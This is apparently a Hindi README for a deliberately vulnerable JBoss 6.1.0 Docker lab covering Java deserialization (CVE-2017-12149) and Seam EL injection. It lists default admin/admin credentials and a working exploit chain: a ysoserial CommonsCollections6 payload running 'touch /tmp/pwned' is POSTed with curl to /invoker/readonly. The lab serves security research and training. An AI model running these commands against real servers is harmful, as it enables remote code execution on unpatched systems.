
कंटेनरीकृत JBoss AS 6.1.0 अनुसंधान प्रयोगशाला, जो Java Deserialization (CVE-2017-12149) और JBoss Seam EL Injection कमजोरियों को प्रदर्शित करने के लिए पूर्व-कॉन्फ़िगर एक्सप्लॉइट सत्यापन चरणों के साथ तैयार की गई है।
अनेक महत्वपूर्ण उद्योग (बैंकिंग, स्वास्थ्य सेवा, और विनिर्माण) लीगेसी मिडलवेयर पर निर्भर करते हैं जो विशेष रूप से JBoss 5 या 6 पर चलाने के लिए बनाया गया था। चूँकि ये एप्लिकेशन अक्सर WildFly (JBoss के उत्तराधिकारी) के आधुनिक संस्करणों में माइग्रेट करने के लिए बहुत नाजुक होते हैं, संगठन उन्हें पैच करने के बजाय "एयर-गैप" करना या VPN के पीछे छिपाना चुनते हैं। जब वे परिधि सुरक्षाएँ विफल हो जाती हैं, तब भी भेद्यता वहीं मौजूद रहती है, जीवित और अनपैच्ड।
यह रिपॉजिटरी सुरक्षा अनुसंधान और भेद्यता सत्यापन के लिए विशेष रूप से कॉन्फ़िगर किया गया एक कंटेनरीकृत JBoss Application Server 6.1.0 वातावरण प्रदान करती है। इसे Java Deserialization और JBoss Seam EL Injection दोषों को प्रदर्शित करने के लिए डिज़ाइन किया गया है।
कस्टम क्रेडेंशियल्स और कॉन्फ़िगरेशन को सही ढंग से लागू करने के लिए, कंटेनर को स्क्रैच से बिल्ड करें:
docker-compose build --no-cache
docker-compose up -d
JBoss कंसोल: http://localhost:8080/admin-console/
उपयोगकर्ता नाम: admin
पासवर्ड: admin
सत्यापित भेद्यताएँ
इस वातावरण में सबसे विश्वसनीय एक्सप्लॉइट पथ /invoker/readonly पर स्थित HTTPServerILServlet के माध्यम से है।
सत्यापन चरण:
/tmp में एक फ़ाइल बनाने के लिए ysoserial का उपयोग करके एक पेलोड जनरेट करें:
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
बाइनरी पेलोड को curl के माध्यम से भेजें:
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
पुष्टि करें कि एक्सप्लॉइट काम कर गया:
docker exec -it jboss-custom-lab ls /tmp/pwned
सुरक्षा अस्वीकरण यह वातावरण जानबूझकर भेद्य है। इसमें अनपैच्ड, जीवन-अंत (end-of-life) सॉफ़्टवेयर शामिल है।
इसे सार्वजनिक सर्वर पर तैनात न करें।
इन टूल्स का उपयोग उन सिस्टमों पर न करें जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
शैक्षिक उद्देश्यों और सुरक्षा अनुसंधान के लिए विकसित।
निर्भरताएँ: https://github.com/frohoff/ysoserial